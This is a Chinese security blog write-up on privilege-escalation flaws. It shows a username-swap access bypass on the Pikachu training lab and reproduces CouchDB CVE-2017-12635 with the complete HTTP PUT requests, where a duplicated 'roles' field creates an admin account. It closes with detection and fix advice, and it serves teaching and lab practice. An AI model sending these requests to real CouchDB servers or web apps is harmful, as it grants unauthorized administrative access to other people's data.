11

越权操作漏洞的思考与复现 | Fisher's 安全日记

 4 years ago
source link: http://austfish.cn/2020/03/19/%E8%B6%8A%E6%9D%83%E6%93%8D%E4%BD%9C%E6%BC%8F%E6%B4%9E%E7%9A%84%E6%80%9D%E8%80%83%E4%B8%8E%E5%A4%8D%E7%8E%B0/?
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

多数WEB应用都具备权限划分和控制,但是如果权限控制功能设计存在缺陷,那么攻击者就可以通过这些缺陷来访问未经授权的功能或数据,这就是我们通常说的越权漏洞。攻击者越权后就可以进行一些操作,例如查看敏感信息、进行一些增删改查的操作等等。

0X01 漏洞简述

越权,顾名思义,就是超出了权限或权力范围。

多数WEB应用都具备权限划分和控制,但是如果权限控制功能设计存在缺陷,那么攻击者就可以通过这些缺陷来访问未经授权的功能或数据,这就是我们通常说的越权漏洞。攻击者越权后就可以进行一些操作,例如查看敏感信息、进行一些增删改查的操作等等。

权限攻击可以分为:

  • 水平权限攻击
  • 垂直权限攻击

水平权限漏洞是指Web应用程序接收到用户请求时,没有判断数据的所属人,或者在判断数据所属人时是从用户提交的参数中获取了userid,导致攻击者可以自行修改userid修改不属于自己的数据。

垂直权限漏洞是指Web应用没有做权限控制,或仅仅在菜单上做了权限控制,导致恶意用户只要猜到了其他页面的URL,就可以访问或控制其他角色拥有的数据或页面,达到权限提升的目的。

0X02 水平越权漏洞

Pikaqiu漏洞平台_水平越权

查看个人信息

1
http://localhost/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF
mark

修改username内容

1
http://localhost/vul/overpermission/op1/op1_mem.php?username=lili&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF

将Lucy换成lili,查询

mark

越权漏洞,在lucy的登陆台下面可以查看到其他人的信息

0X03 垂直越权漏洞

Couchdb 垂直权限绕过漏洞(CVE-2017-12635)

Apache CouchDB是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。

在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。

这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。影响版本:小于 1.7.0 以及 小于 2.1.1

测试环境展示

mark

首先发送数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PUT /_users/org.couchdb.user:vulhub HTTP/1.1 
Host: your-ip:5984 Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90

{
"type": "user",
"name": "vulhub",
"roles": ["_admin"], "
password": "vulhub"
}
mark

返回显示:
可见只有管理员才有权限操作

mark
mark

发送两个roles规则的数据包,可以绕过权限限制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PUT /_users/org.couchdb.user:vulhub HTTP/1.1 
Host: your-ip:5984 Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108

{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
mark

再次访问http://your-ip:5984/_utils/,
输入账户密码vulhub,可以成功登录:

mark

0X04 如何检测越权漏洞

最简单的一种检测方式是,首先是通过定位鉴权参数,然后替换为其他账户鉴权参数的方法来发现越权漏洞。

0X05 修复越权漏洞建议

  1. 前后端同时对用户输入信息进行校验,双重验证机制
  2. 调用功能前验证用户是否有权限调用相关功能
  3. 执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限
  4. 直接对象引用的加密资源ID,防止攻击者枚举ID,敏感数据特殊化处理
  5. 永远不要相信来自用户的输入,对于可控参数进行严格的检查与过滤

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK